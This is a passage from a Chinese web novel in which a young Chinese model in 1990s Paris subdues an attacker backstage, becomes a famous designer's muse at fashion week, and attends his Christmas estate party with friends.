温苒谢谢莉莉提醒,“话虽如此,但我不觉得莉亚有这个勇气和手段,布莱安娜的下场全公司都知道。我想,莉亚应该不会蠢到在奥古斯特的秀上稿破坏,她心知肚明,这样做的结果是被时尚界封杀。” 布莱安娜当初说要阿莱西亚是无稽之谈,但奥古斯特毫无疑问能做到。 第142章 第142章九零国际超模12 彩排时,莉莉一直分心盯着莉亚和莉亚的助理,果然没见这两人有什么小动作。 彩排中,温苒这个唯一的华人面孔颇受瞩目,还有模特上来搭讪,打探温苒的底细,怀疑她有什么大背景。 温苒:“……” 她要是有大背景,至于连入个行都花了快两年吗?! A.F发布秀的模特无一不是成名已久。 虽然按照模特公司推陈出新的速度,一般模特的职业生涯五年不短三年常态。 再不济也是莉亚这种,是新人,但刚在米兰时装周上露过脸,台步台风都很有个人特色。 若没有阿莱西亚这个紫微星,莉亚很可能就是PL公司这几年主推的模特。 只有温苒,只有温苒是个纯新人,既没有在其他时装周上出现过,也没有特别的背景。 温苒彩排结束返回后台,后台一向吵闹,交流全靠吼,猛一听还以为在吵架。 刚进后台,她就见莉莉慌慌张张跑上前来,“刚刚有人进你的更衣室在你鞋子里放铁片。” 温苒:“???” “不是莉亚做的吧?” 莉莉摇头,“不是莉亚,是同场的黑人模特,今年的新人。” “还好我请工作人员注意,当场抓住对方,她没法抵赖,已经被秀导开除,安保正在驱赶她。” 温苒和莉莉来到更衣室,可算知道为什么说‘正在’了? 对方体格子大,估计能有一米八五往上,手长脚长,挥一下手臂,两个安保就被横扫倒下。 她还乌拉乌拉地嘶吼着什么,带着浓浓的口音,半英语半她的母语。 温苒听不大懂,但应该不是什么好话。 看到她出现,女模特更激动了,推开围住她的安保就朝温苒冲过来。 所有人表情惊恐,莉莉眼中浮现绝望。 在众人眼里,那个发狂的女模特就是处于狂暴状态的野兽,温苒小小一只好像无害的小猫小兔子。 现在野兽嘶吼着奔向小白兔,小白兔的下场可以想见的惨烈血腥! 部分人下意识闭上眼,抗拒接下来令人不适的悲惨画面。 然而出乎意料的是,还睁着眼的人只见—— 发狂的女模特冲到温苒面前时,温苒微微侧身撤腿,轻松避开冲击,女模特扑个空,冲过了温苒的位置。 温苒抬起一手抓住女模特的手臂轻轻往回一扯,女模特扑空的身体因为惯性无法保持平衡,便直挺挺向前栽下去。 这时温苒提膝上顶,女模特表情闪过痛苦,仿佛失去浑身力气一般,软趴趴栽到地上。 温苒反扭她的手臂,转身,优雅地坐在了女模特的背上。 温苒偏头悄悄在心里松了口气。 好险,差点儿没发现奥古斯特来了。 她现在的风格人设可是‘月’系列要表现的优雅高贵,千万不能和暴力扯上关系。 嗯。 就算暴力也要优雅。 制伏暴力更要优雅。 女模特怔愣片刻,反应过来愤怒不甘,几次尝试挣扎,却发现使不上力气,只能靠大吼大叫表达暴躁的情绪。 事情发生在短短几秒内。 在场所有人都被这个兔子制伏猛兽的结果震惊到呆滞无法思考。 不是? 那个发狂的女模特可是六七个壮年男性都束手无策的对象啊! 死寂一样气氛中,不知谁先脱口而出高喊一句:“功夫!” “这是华国功夫!” 温苒:“……” 此话一出,温苒顿时感觉到来自众人或崇拜或稀奇或恐惧的视线。 她下意识抬头去看奥古斯特,就见这小老头以极其不属于他这个年纪的灵活冲到了自己面前,指着地上的女模特。 “安保!快把这个人赶出去!” 七八个安保拿着绳子过来,先给女模特五花大绑,然后把女模特横抬出去。 奥古斯特带温苒到他的临时办公室,搓着手眼神闪烁,“索、索菲亚,你真的会功夫?!” 他两只胳膊胡乱比划着,急得脸都红了。 温苒心里一个咯噔。 难道奥古斯特觉得自己刚才不优雅? 她连忙道:“并不是,那只是现代格斗里常见的擒拿动作。” 格斗比起功夫更不优雅,她又补充:“我是女孩子,学一些防身动作也是为了保护自己。” 奥古斯特用力点头。 他懂! 华国人都很谦虚! 那明明就是华国功夫! 温苒却觉得他好像没懂的样子。 但幸好,奥古斯特没有提取消高定秀邀请的意思。 温苒提着地心半放到肚子里,出去见到莉莉,第一句话就问:“你觉得我刚才的动作,优雅吗?” 莉莉:“……” 莉莉两手合十,蓝眼睛闪着崇拜的光芒,激动道:“优雅!太优雅了!索菲亚你就是个优雅的女战士!” 温苒:“……” 好吧,女战士就女战士,好歹没破坏优雅的人设。 后续,据说那位模特的经纪人不想放弃A.F大秀这么好的机会,向工作人员透露她的模特是被人教唆怂恿,以为温苒来抢黑人模特的工作,才针对温苒。 温苒是受害者,有得知一切消息的权利。 奥古斯特的助理转告莉莉,莉莉再告诉温苒。 温苒看了眼莉莉,笃定道:“是莉亚做的。” 多像啊。 培训班的时候,布莱安娜破坏阿莱西亚走秀的高跟鞋。 这次彩排,莉亚故技重施,利用那个女模特来针对温苒。 温苒说得没错。 莉亚不蠢,所以她自己不动手,教唆别人动手,反正失败与否不会波及到她。 至于针对温苒的那个模特经纪人的指控,反正又没有证据。 即便温苒要公司评理,公司会舍弃谁显而易见。 莉亚听到助理汇报,抱臂冷笑一声。 她可不是布莱安娜那种蠢货,搞不清楚自己的位置,对付阿莱西亚的手段又拙劣,活该被公司开除! 莉莉劝温苒不要向公司告状。 首先这件事情没有证据,那名模特所在的公司和PL有过节,恰好她和她经纪人先后针对的温苒和莉亚都是PL的模特,很难说不是商业竞争。 其次,温苒没有受到实质性的伤害。 再者,也是最关键的一点。 莉亚是除阿莱西亚以外,这 一期培训班上发展最好的模特。 说得现实点,如果温苒和莉亚起冲突,就算是莉亚的错,只要不是过于离谱,公司都不会放弃她。 而既然公司不会放弃莉亚,那被放弃的只能是温苒。 温苒点了点头,继续做自己的事情,好似没把这件事放在心上。 她也确实没把莉亚放在眼里。 对莉亚这种人最大的报复,就是后来居上,让她永远只能仰望自己。 温苒的目标只有一个:成为模特网站排名表上的TOP1。 没人能阻止她去实现这个目标。 三天后,万众期待的A.F大秀开始。 温苒有两套成衣上身,一套墨绿色丝绒抹胸开叉长裙,一套香槟色挂脖拖地鱼尾裙。 墨绿色深沉端庄,奥古斯特让许多模特试过这件衣服,都不满意。 用奥古斯特助理的毒舌发言评价:“模特们大多空有身材,但脑袋空空,根本不懂设计,凭借独特的气质和风格出头几年就会被抛弃。” 在设计师的眼里,模特们可以是缪斯女神,但大多数却是模特公司推出的快消商品。 残酷,但现实如此。 这更坚定了温苒加强自己‘优雅’标签的人设。 优雅在时尚界是个通吃的特质,可以优雅地性感,可以优雅地帅气,也可以优雅地野性。 简而言之,优雅是种能够向下兼容的风格。 恰好,这个特质虽然百搭但异常稀缺。 恰好,这个特质也被所有品牌敞开大门欢迎。 温苒需要先用这个标签树起形象,最好能做到让人一想到这个词就紧接着想到她。 大秀开始。 音乐缓缓流淌。 模特们被带到T台后入口,听从秀导指挥,迈着模特步出场。 后台,温苒画好妆,换上墨绿色长裙,踩上高跟鞋。 工作人员带她来到T台入口,“索菲亚,深呼吸,别紧张,你就是最美的,你是第一个登上时装周的华人,想想今天之后所有媒体都会报道你的新闻,你要把自己最美的姿态展示给全世界看!” 温苒:“……” 我本来没紧张…… 秀导大声:“GO!” 然后轻轻推了一把她的后背。 温苒步伐从容,缓缓走到光圈的位置。 此时,前一个模特正在T台终点进行定点。 前前一个模特刚好折返走到和T台入口相对的另一侧出口。 定点结束,台下所有人嘉宾将目光转向T台入口的位置。 温苒闭眼再睁眼,沉浸在和裙子契合的人物中,配合音乐的节奏迈出优雅步伐。 气质高贵清冷,姿态优雅端庄,肤如凝脂白皙剔透,厚重抢眼的墨绿色完全成了陪衬,玉白与墨绿的反差衬得她更加清丽。 台下的奥古斯特都看待了。 他知道温苒会把这件裙子表现得很出色,但没想到竟然如此完美?! 十多米长的T台很短,温苒来到终点。 终点的前方是无数镜头,镜头对准她,她侧过身,微微偏头,幽深黑眸留下淡淡一瞥。 最前面的摄影师情不自禁扛着机器快走两步追上去,想让刚才的美人再赏一眼镜头,走出去才恍然回神。 上帝! 他还在工作! 此时一阵掌声响起。 摄影师左右看看,没人发现他的失误,所有嘉宾脸上都带着未褪去的震撼。 T台下的观众如此,后台实时直播的电视机里,看到温苒表现的模特和工作人员同样震撼到合不拢嘴。 是。 她们早就见过温苒穿这件裙子,很美丽,很惊艳,但分明她们的裙子更漂亮! 奥古斯特留下助理负责后台工作,她盯着机器上的画面,内心的震撼久久无法平息。 同时作为奥古斯特的助理和徒弟,她必须要说,那真的只是一件很普通的裙子! 哪怕老师对表现这件裙子的模特吹毛求疵,也只是他身为设计师的完美主义强迫症作祟! 温苒没顾得上大家奇异的目光,她马不停蹄去换下一件衣服。 后台的环境实在不怎么样。 逼仄,闷热,化妆品和香水和汗臭味混杂在一起,让温苒脑瓜发懵。 换衣服前,她掏出风油精喷了两下。 莉莉和秀场工作人员神情惊讶又陶醉,“索菲亚,难道这是来自东方的香水吗?真好闻啊!” 莉莉点头,“吸一口感觉整个人都活过来了!” 温苒:“……” 讲给田蜜听,田蜜又要说这些洋人没见识了。 香槟色鱼尾裙比墨绿色开叉裙有些难度。 鱼尾裙小腿以下的空间狭窄,眼中限制模特步伐。 拖地长裙在定点转身时也会成为阻碍,若是处理不好,高跟鞋踩到裙摆当场摔倒,可就不是惊艳世界而是招笑丢人了。 再次前往T台入口,刚好碰到莉亚从台上下来。 两人相遇,莉亚神情难看,张张嘴想说什么。 温苒却看也不看,直接越过她。 莉亚脸色更加难看,愤怒地扭头盯着温苒的背影。 莉莉比温苒还要关注莉亚,她没错过莉亚这个可怕的眼神,心头浮上担忧。 但面上她却笑着给温苒打气:“索菲亚,你要走自己的路,不要在乎不相干的人。” 站在T台入口,秀导惊奇地打量着温苒,“索菲亚,你刚才表现很不错,再接再厉!GO!” 鱼尾裙的由来似乎并不是美人鱼,她以展现身体曲线为卖点,主打性感。 光芒追随着温苒的步伐,T台上鱼尾摆动,她款款而来。 明明同样的表情,刚刚给人的感觉还是端庄典雅,现在却是高贵冷艳的性感。 甚至之余前者,性感都只是陪衬。 奥古斯特的老心脏扑通扑通狂跳。 他之所以把这件裙子交给温苒来表现,就是因为之前的模特表现出来的性感都很艳俗。 虽然在温苒这里性感成了陪衬。 但恰恰是这种不强烈的存在感牵动着人心。 像猫用瓜子轻轻挠了你一下,然后转身迈着高傲的步伐舍你而去。 而你却被搅乱心绪,心神不由自主追随着猫主子的一举一动,渴望她再能临幸你这个卑微的奴仆。 T台下,许多人和奥古斯特一个想法,目光不由自主地追随着温苒的身影,直到她消失在T台转角。 奥古斯特左右都在跟他打听温苒。 很快大秀结束,全场灯光亮起,模特排队出来谢场。 温苒被秀导安排在最后一个位置,出去走两步就是她的位置。 奥古斯特走上T台致谢,“感谢大家参加A.F今年的大秀!” 这句话说完,他忽然转身,走向T台末尾,在所有人的注视中牵起温苒 的手走到T台最前面。 温苒:“???” 彩排的时候没这段啊? 奥古斯特举着话筒,面对众多媒体的镜头,郑重宣布:“就在不久前,我找到了我的缪斯女神。” 全场哗然。 温苒:“……” 你不要告诉我你的缪斯女神是我…… 认真讲起来,温苒觉得奥古斯特每天都不离手,摆在工作间办公桌头上的白瓷瓶更像他的缪斯女神。 但奥古斯特转身给了温苒一个拥抱,“这就是我的缪斯女神,来自东方华国的女孩,索菲亚。” 相机闪个不停,温苒对着镜头勾唇微笑,闪光灯顿时更频繁,媒体记者们疯狂大喊她的名字。 回到后台,彩排以来就对温苒保持距离的模特们纷纷围上来恭喜她,还要交换联系方式。 现在没人会蠢到再针对她的肤色和国籍,时尚界就是如此现实,谁让温苒是时尚界泰斗设计师奥古斯特的第一位缪斯女神?! 第143章 第143章九零国际超模13 好不容易摆脱那些过于热情的模特们,温苒回到更衣室换下衣服。 模特走秀的收入除了固定的薪资,走秀穿过的衣服也是报酬的一部分。 何况这还是超一线品牌的成衣,拿出去都能换个几百欧元。 当然不是所有品牌都这么大方。 也据说某些经营不善的品牌,只有衣服这一项报酬。 收好衣服出来,温苒就看到莉莉激动地在门口走来走去。 见她出来,莉莉转过身,两只用力攥紧举起来,看着温苒张了几次嘴最后都不知道该说什么。 温苒说道:“先去吃饭吧。” 为了不出意外,今天除了早饭吃了两片全麦面包,到现在她滴水未尽。 本来胃就不好,饿了一天又开始隐隐泛疼。 幸亏霍骁北不知道她今天没好好吃饭,也不知道培训班的时候整一个月她都没吃过午饭。 莉莉接过她手上的衣服,“你看起来有点不舒服,但我们需不需要先去见奥古斯特?” 因为过度节食,模特里很少有没有胃病的。 包括莉莉这个并非模特的实习经纪人,也被当下时尚界的畸形审美所影响,为了能穿上尽可能多的漂亮衣服,所以强迫自己节食。 温苒想起奥古斯特那个小老头,招呼没打一声就宣布了个大新闻。 阿米丽绝对会多想,认为自己对她有所隐瞒。 温苒虽然不需要阿米丽手把手带自己,但也并不想跟阿米丽交恶或者出现彼此不信任的情况。 阿米丽毕竟是资历极深的经纪人,温苒现在唯一的机会也是她给的。 公司本来就对温苒可有可无,但至少现在面上还过得去,属于小事使绊子大事过得去的程度。 万一得罪阿米丽,公司里那些见风使舵的人怕是会直接下场抢夺搅和温苒的机会。 远的不说,莉亚就在一旁虎视眈眈伺机而动。 对莉亚来说,她自己得到多好的资源都是她应得的,但温苒有个机会比她自己错失更难受,更遑论是被奥古斯特这种顶级设计师看重、旁人一辈子都不敢奢望的一步登天的机会。 要是能把温苒拉下去,哪怕最后便宜了阿莱西亚,想必莉亚也会在所不惜。 这种人就是典型的,我自己过得怎样无所谓,不能让敌人过得比我好。 温苒和莉莉离开后台,在门口撞上奥古斯特的助理。 她笑着说道:“索菲亚,奥古斯特在餐厅订了位置,邀请你共进午餐。” 温苒现在胃里又饿又难受,也不想管谁请的,只要能给口热汤热饭吃就行。 秀场外,奥古斯特的车子等在路边。 后座车窗落下,小老头频频向出口张望。 温苒走出来的瞬间,奥古斯特眼睛一亮,连忙冲她招手:“索菲亚!” 助理小跑着给温苒开门,温苒上车,被奥古斯特拉着聊了一路有关鱼尾裙的新灵感。 到了餐厅,奥古斯特还在说个不停,温苒先专心吃了个半饱,才空出嘴来回个一两句。 温苒不理解,“所以,你真的从我身上得到了很多灵感?而不是那个瓷瓶?” 奥古斯特愣了下,继而大笑,“哈哈哈!我能说都有吗?你送我的瓷瓶很美我很喜欢,但终究只是一件冷冰冰没有温度的艺术品。虽然我这么说不太合适,一定会有很多艺术家反驳我,说她们的作品拥有生命并不是死物!” 温苒点点头,“客观上那些艺术品确实没有生命,但在创造出她们的艺术家心里,她们拥有生命。” 奥古斯特耸肩,“艺术品的温度和生命只存在于人们的心里,所以在我看来,再美的艺术品也没有真正活生生的生命来得鲜活。” “况且,我所创作的艺术,本就是为人而生。” 他看着温苒,“索菲亚,我在你身上看到了与众不同、世间罕有的令人痴迷的特质。每当我注视她,她便大方地恩赐下许多让我欣喜若狂的灵想法。” 温苒:“……” 你这话说的,得亏她知道自己身边很干净,没有什么特别古怪的东西纠缠。 温苒把话题带回正轨:“我的意思是,我是个华国人。” 她都不说在时尚界怎样被歧视被排斥了,走在路上就能被翻白眼,去超市遇到刻薄的收银员还给她提价。 你问如果对账对不上怎么办? 众所周知,外国人数学很差,对不上很正常,不然也轮不到田蜜去学校超市勤工俭学。 奥古斯特摇摇头,“就因为你是华国人,你和我见过的男人女人都不同,正是这点不同吸引了我。” “至于你的国籍和肤色,我想你自己也并不在意别人的看法。” “而我,”他的语气满不在乎且自信傲慢,“我也不需要在乎,谁让我是奥古斯特?” 温苒:“……” 奥古斯特出身优渥,他父亲是大商人,姑姑嫁给了一位伯爵,第一任妻子是德国银行家,他也确实不需要在乎别人怎么想。 这个话题结束,奥古斯特话锋一转,“索菲亚,我们来谈谈华国功夫吧?” 温苒就知道,当那天不管她怎么解释但其他人就是认为她制伏女模特那一招就是华国功夫的时候,她就知道会有这么一天。 温苒木着脸,“实际上,奥古斯特,我并不怎么了解功夫。” 奥古斯特眼神狐疑,“怎么可能?” 温苒在功夫和‘巫术’两者中游移不定,最终艰难地做出选择:“奥 古斯特,比如功夫,我略懂一些‘法术’。” 接下来温苒问出奥古斯特的生辰八字,看了一眼,连他七岁离家出走八岁尿裤子十岁逃学还有他最喜欢却不知去向的宝石的下落都给算出来了,给奥古斯特忽悠得一愣一愣。 一顿饭后,温苒成功将她在奥古斯特眼中的形象从‘功夫女侠’变成‘神秘巫女’。 优雅加神秘,也算绝杀组合了。 奥古斯特看温苒的眼神闪着奇异的光芒,“我想,我又得到了女神的眷顾,她刚刚恩赐了我新的灵感。” “继‘月’系列之后,‘星辰’系列我也有了更完美的想法。” 温苒微笑。 晚上A.F会举办晚宴,吃吃喝喝在其次,social才是重点。 奥古斯特极少参加,而且他现在灵感爆棚,午饭后就直奔工作间。 但他让助理给温苒送了几套衣服珠宝,是独家特别设计,让温苒随意。 温苒也没去参加,因为阿米丽直接杀到了奥古斯特旗下的酒店。 莉莉下楼去接阿米丽,见她气势汹汹,连忙为温苒说话。 “学姐你别误会,奥古斯特之前并没有透露过索菲亚是他的缪斯,他给温苒表现的衣服也都是其他模特不要的。” 阿米丽皱眉,“你说的是真的?” 莉莉表情严肃,“真的不能再真!我可以向上帝发誓!我还有秀的录影带,索菲亚被带到前面的时候也很意外。” 莉莉来到温苒身边以后,先是经历糖衣炮弹,之后相处中被温苒的人格魅力折服,今天又在看到了T台上惊艳四座的东方美人,莉莉不忍心让这样的美人受到伤害,职业生涯就此断绝。 这是于情感上。 于私人和理智上,莉莉现在是温苒的助理兼经纪人,温苒好她才能好。 温苒走得越远越高,她这个经纪人也会更被认可。 阿米丽看了两眼这个学妹,心想她才刚毕业心思单纯,说谎对她没好处,她应该不会欺骗自己。 “我知道了,我想跟索菲亚聊聊。” 阿米丽推开温苒房间的房门,十分钟后出来,神态放松愉悦。 她走到莉莉面前,笑着拍了拍莉莉肩膀,“莉莉,好好工作,有什么困难就给我打电话。” 莉莉见状大出一口气。 这关过了! 送阿米丽离开酒店,莉莉冲进温苒房间,“索菲亚,阿米丽没有生气吧?” 温苒正在窗边晒太阳,闻言从杂志中抬眼,“没有,她还说,之后我的工作和行程都交给你负责。” 莉莉缓缓睁大眼睛,猛地跳起来尖叫,“啊——真的吗?!” 激动过后,莉莉脑子开始转动,才想明白她成为正式经纪人应该是温苒帮她说了好话,于是接下来的工作中更加努力。 时装周会持续一周左右,这段时间里巴黎会举办大大小小几百场的时装秀。 奥古斯特的助理送来通用邀请函,温苒给在伦敦的田蜜去个电话,当天中午她就飞来了巴黎。 莉莉打车接田蜜来酒店,一进来田蜜就冲到温苒面前抱着她又蹦又跳,只是想叫不敢叫。 田蜜在接到电话时就喊了一通,结果就是被邻居敲门警告。 接下来几天,温苒、田蜜和莉莉就在各大秀场出没,看了一场又一场秀,看得头晕眼花脑子都木了。 最后一天结束,温苒请客吃大餐。 田蜜有气无力地往嘴里塞牛排,“OhGod!我现在已经分不清那些千奇百怪的衣服到底是美是丑了!” 虽说高定秀才是表现概念的主场,但某些成衣秀也很…… 时尚界追求标新立异,可过了度就不是独特,而是不伦不类了。 莉莉去路边买了一份报纸回来,三人依次传阅。 田蜜惊喜道:“苒苒,这是你的照片?” 自从奥古斯特在秀上当众向媒体宣布,温苒是他的缪斯女神之后,整一周的报纸都在报道讨论这件事。 有盲目追捧的,有自认为理智批判的,有单纯欣赏的,还有嫉妒不平的…… 但无论那些人怎么想,温苒这个华国面孔闯进这个地界的时尚圈已成既定事实。 而作为第一个登上时装周的华国人,以及未来也是第一个登上超一线品牌高定秀的华国人,温苒注定会留下浓墨重彩的成就。 第144章 第144章九零国际超模14 时装周结束后,田蜜买票回伦敦。 她英语还不熟练,莉莉自告奋勇,托朋友帮忙接机并把田蜜安全送回公寓。 田蜜回到公寓,第一时间给温苒打电话,温苒这才放心。 时装周之后,每年这个时间时尚界就好似沉寂下来,直到来年一月,各品牌的高定秀举办,媒体们才会把关注和镜头重新投向这个行业。 奥古斯特邀请温苒暂留巴黎,为来年的高定发布秀做准备,这之余也参加了几场慈善宴会等时尚活动。 奥古斯特一直很忙。 时装周是面向消费者的大型时尚活动,特点是公开、声量极大。 但除此之外,时尚界内部还有诸多面料展、珠宝展、VIP沙龙等等。 圣诞节前后,奥古斯特给自己放了一周的假期,打算在自家的庄园举办宴会。 他向温苒发出邀请,“索菲亚,带上你那个朋友,你们一起来,只是朋友间的聚会,玩得开心最重要。” 之前某次私人宴会,奥古斯特因为临时有事提前离场,温苒独自参加,被宴会上大多数无视孤立。 被孤立都不算什么,最让奥古斯特生气的是,竟然有人骚扰索菲亚? 温苒本就不喜欢这种场合,连唯一的作用结交人脉都很难进行,早就不想再参与类似的宴会,就借那次事件的名义拒绝了很多邀请。 不过温苒并不是没有收获。 她结识了几位一线品牌的设计师,被邀请在明年春季的时装周上合作。 另有一位时尚杂志的女主编,也想邀请温苒合作,拍摄明年的杂志,虽然是内页。 奥古斯特听说后,想也不想就拒绝了。 他的缪斯女神,要拍就拍MQ的封面,法版英版美版意大利版都可以。 温苒本来认为机会在精不在多,但就是说,拍内页就是个很不错的机会了。 奥古斯特怕温苒不愿意去,于是说道:“你来,我向你介绍MQ的主编,她喜欢美人,明年的开年封一定是你的!” 温苒清清嗓子,佯装勉强的样子,“那好吧。不过我要带一个人,我男朋友正好放假,要来法国陪我。” 奥古斯特瞪大眼睛,“你男朋友?” 奥古斯特摇头,眼神不敢置信满脸无法接受,“NO!你看起来比我在读高中的女儿还要小!我不允许!” 温苒:“……” 她只是看起来显年轻,她们华国人都这样,过了今年她都二十岁了,有个男朋友很正常吧? 反正不管温苒说什么,奥古斯特都表示,先把那个臭小子带给他把把关。 温苒点点头,本来不就是在说这件事么? 奥古斯特生着闷气,盯着温苒看了半晌后,狐疑道:“但是,索菲亚,你看起来一点都不像陷入热恋中的少女,像我女儿有情况的话,我一眼就能看出来。” 温苒沉默。 因为她们已经是老夫老妻了…… 圣诞节田蜜没来法国,预科班这个学期结束,她想回国看看公司情况,顺便把两人攒下的设计稿拿回去,敲定一下明年的款式。 另外还有个主要原因,这边的饭菜实在太难吃了。 反倒是陈晨,不回国陪父母,不远千里跟着他北哥来巴黎,想体验体验时尚的世界。 为此,他甚至买了A.F七八套今年的男装,搭配墨镜手表等各种配饰,堪称全副武装。 结果去接机的莉莉回来,进温苒房间见他的第一句话就是:“索菲亚,我想你需要帮你的朋友重塑时尚观念,并且建议你尽快给他准备几套正常的搭配,不然后天的宴会你一定会被嘲笑。” 温苒:“……” 有这么夸张的? 霍骁北和陈晨放下行李,很快来见温苒。 温苒看到陈晨下意识战术后仰。 不是? 奥古斯特还设计过这么花里胡哨的衣服?他的设计不是一向以典雅简约为主? 霍骁北也很无语,说了多少遍不要穿皮裤不要穿这件夸张的金色印花衬衫也不要戴**镜更不要穿那双绿色皮鞋,陈晨都一脸你不懂时尚的神情。 温苒:“……” 要不,还是只带霍骁北吧。 朋友的缺点也不是一定要包容才对。 不行,辣眼睛,太辣眼睛,多看陈晨这身打扮一眼温苒都觉得眼睛疼。 陈晨挠头,看到温苒的反应,他后知后觉自己对时尚的理解好像出现了偏差…… 嗯,不小的偏差。 温苒试图委婉:“要不,你先回去换身衣服?” 陈晨:“呃……” 霍骁北替他回答:“他带的行李都是这种衣服。” 陈晨羞愧捂脸,其实他也觉得这样穿很难看,但他不是想时 尚嘛?! 就…… 反正,现在就想挖个坑把自己埋了。 没办法,总不能让陈晨没法见人,温苒和霍骁北出门,临时给他买了几套正常的衣服。 回到酒店,温苒把衣服交给前台,让前台转交给陈晨。 她要和霍骁北出去约会吃饭! 结果被前台告知,奥古斯特刚刚来了酒店。 温苒:“……” 怪不得之前一直派助理询问霍骁北是哪天的飞机? 而此时顶楼贵宾房,奥古斯特第一万次庆幸,还好他提前来看了一眼! 索菲亚什么眼光? 为什么要选这么一个品味奇差的男人? 这个男人为什么能把他好端端的衣服穿得这么丑? 奥古斯特满肚子无名火,短短时间已经想了十几种拆散索菲亚和这个男人的办法。 陈晨尴尬地缩在一旁沙发上,如坐针毡。 这老头叽里咕噜说了一堆也不知道在说什么,好像在说法语,依稀蹦出过几句英语,只听得出来很气愤。 房间门外,莉莉和奥古斯特的助理大眼瞪小眼。 莉莉心说,奥古斯特好像误会了,里面那个不是索菲亚男朋友。 奥古斯特助理心说,好险,差点就认出那身衣服的设计是出自老师之手了。 尴尬古怪的气氛中,温苒和霍骁北带着衣服上楼了。 奥古斯特看到一前一后近来的男女,刚才那颗焦灼的心忽然就让如沐春风。 上帝保佑! 实在是太好了! 索菲亚那双漂亮的眼睛不仅是装饰品! 奥古斯特清清嗓子,目光投向高大挺拔的男人,“你就是Huo?索菲亚的男朋友?” 霍骁北颔首,与这似乎操太多心的小老头寒暄起来。 温苒把衣服交给陈晨,让他去里间换上。 陈晨如蒙大赦,抓起衣服就往房间里冲。 温苒一扭头,就见一老一少聊得很开心,奥古斯特周身洋溢着愉悦欢快的心情。 察觉到温苒的视线,奥古斯特转头笑着说:“索菲亚,你的男朋友博学风趣,我很满意。” 人就怕对比。 有品味奇差的陈晨打底,奥古斯特眼里霍骁北优秀得无以复加。 陈晨换上衣服还磨蹭了半天才出来,从油腻花孔雀变身清爽男人。 但他在奥古斯特心中的形象已经永远无法磨灭。 见过霍骁北后,奥古斯特就离开了,临走前再三邀请他一定要和温苒去参加他的私人宴会。 不知什么原因,这天傍晚,奥古斯特的助理下班,顺道来酒店送了几套男士服装。 分别适合霍骁北和陈晨的身材。 奥古斯特的助理严肃地转告温苒:“老师说,如果索菲亚你一定要带皮裤男去宴会,务必让他只能在这几身衣服里面挑选。” 助理说的是英语,陈晨竖着耳朵全听了个明白。 陈晨仰起头,欲哭无泪。 一次失误,终身后悔啊! 更让陈晨绝望的是,宣判他审美无能的还是鼎鼎有名的大设计师! 陈晨伤心得连晚饭都只吃了一份意面一份牛排。 奥古斯特的庄园在巴黎乡下的小镇里,据说那个庄园产出的红酒在欧洲小有名气,庄园里的鲜花更是作为A.F某款香水的原料之一,每年限量五百瓶,常常还未上市便被贵妇们一抢而空。 温苒三人连同莉莉到到达庄园,庄园管家引领她们放下行李,然后就送上了那款限量香水。 等管家离开,陈晨没见过世面似的,打开香水猛地深吸气,“啊——嚏——阿嚏—阿嚏—” 温苒把香水夺过来拧上盖子,眼神惊奇,“你该不会对香水过敏吧?” 陈晨边擦口水鼻涕边回:“怎么可能?我夏天用花露水一用就用半瓶呢,从来不过敏!” 话落他神情微顿,好似在回味对比花露水和刚才香水的区别,最后得出结论:“这香水也不怎么样……” 温苒&霍骁北:“……” 她们用中文对话,莉莉完全听不懂,但看得出来陈晨对香水过敏。 因此莉莉欣喜开口:“Chen你用不了香水?能不能送我?” 陈晨一把夺回自己那瓶香水,警惕地看着莉莉,“你本来就有一瓶,为什么还想要我的?不行!我这瓶要给我妈用!” 莉莉瞬间变脸,不懂风情的男人,“哦,好吧。” 温苒赶紧打圆场,“莉莉,我们收拾收拾,下楼去见奥古斯特和其他客人。” 不知什么原因,陈晨和莉莉这两人互相很看不上对方,一旦起个话头免不了夹枪带棒的。 收拾收拾下楼,管家说奥古斯特在偏厅接待客人。 温苒等人找过去,刚打个招呼就被奥古斯特带到一个高挑的金发碧眼的美人面前,“安娜,这就是索菲亚,你见过的。” “索菲亚,这是安娜,MQ杂志的主编。” 安娜是个严肃的美人,轻轻颔首道:“你好,索菲亚。” 然后就没了,态度冷淡且高傲,一点都不给温苒留下继续攀谈的豁口。 以往宴会上碰到瞧不起温苒的,好歹打招呼时还会提一嘴她在A.F秀上的精彩表现,真心实意地称赞一两句。 温苒余光去瞥奥古斯特。 这个口口声声要把她介绍给安娜,并保证会替她拿下美英法意之一MQ封面的小老头,举着红酒看房顶看窗户,就是不往她这边看。 温苒心说,还好没指望这个不靠谱的老头子。 她端起微笑,“你好安娜,我是索菲亚,来自华国,不知道MQ总部有没有发展MQ华国版的想法?” 安娜顿住,表情认真起来,“哦?你听谁说的?” 她瞥了眼奥古斯特,怀疑是这个老头子,这老头子一向偏爱美人,据说十分满意这个来自华国的缪斯女神,为了讨好美人冲动之下头昏脑涨什么事情都能做出来。 奥古斯特:“……” 他看明白安娜的眼神,十分不服气,到底谁才是为了美人多次冲动的人? 再说,他才没有告诉温苒这件事,是温苒自己聪明猜出来的。 温苒也不算猜,MQ会创办华国版是必然结果,早晚都要。 她只是单纯想找个话题而已。 如果MQ近期有这个计划,那很好,华国版创刊封面谁来拍? 关于这一点,温苒可以十分自信的说非她莫属! 田蜜前阵子回国后,不惜破费给她打了个越洋电话,就为了告诉她现在国内报纸上都是她的新闻。 身为第一个登上时装周,并且被超一线品牌A.F著名设计师奥古斯特引为缪斯女神的华国人,某种意义上也算为国争光了。 现在国内刚刚起步的时尚界里,温苒可是大名鼎鼎的存在。 华国版MQ若想打开市场,选温苒再合适不过。 毕竟华国人可能会知道温苒,但真没几个人知道那些金发碧眼的超模。 有了话题,温苒自然而然和安娜聊起来。 温苒身上本就有许多让人好奇忍不住探究的点,只要开了口子,安娜的声音就再没停下来。 最后晚上聚餐,安娜都主动和温苒坐在一起,有朋友过来打招呼,把温苒介绍给她们更是顺手为之。 有安娜带在身边,那些客人对温苒的歧视都收敛了几分,也不再拒绝和温苒交流。 接着就是重复安娜沦陷的流程,原本温苒就足够让人好奇,只是某种心里作祟压过了这种好奇,而经过交谈后,无一不为温苒的魅力折服。 本应该作为温苒社交领路人的奥古斯特,则带着霍骁北和陈晨满场乱窜,让这俩小伙子给他制作美食。 他还许出报酬,给霍骁北的报酬帮温苒介绍机会,给陈晨的报酬是这一季A.F男装随便挑。 霍骁北没上当,看得出来这老头不靠谱。 陈晨就只听见了‘随便挑’三个字,拿出留子的满级厨艺为‘随便挑’买单。 散场时,温苒说话太多嗓音都沙哑了,还因为润嗓喝 下太多红酒,脸颊飞上红霞。 某些客人蠢蠢欲动,但碍于安娜在一旁什么也做不了。 这时奥古斯特和霍骁北出现,霍骁北带着温苒离开。 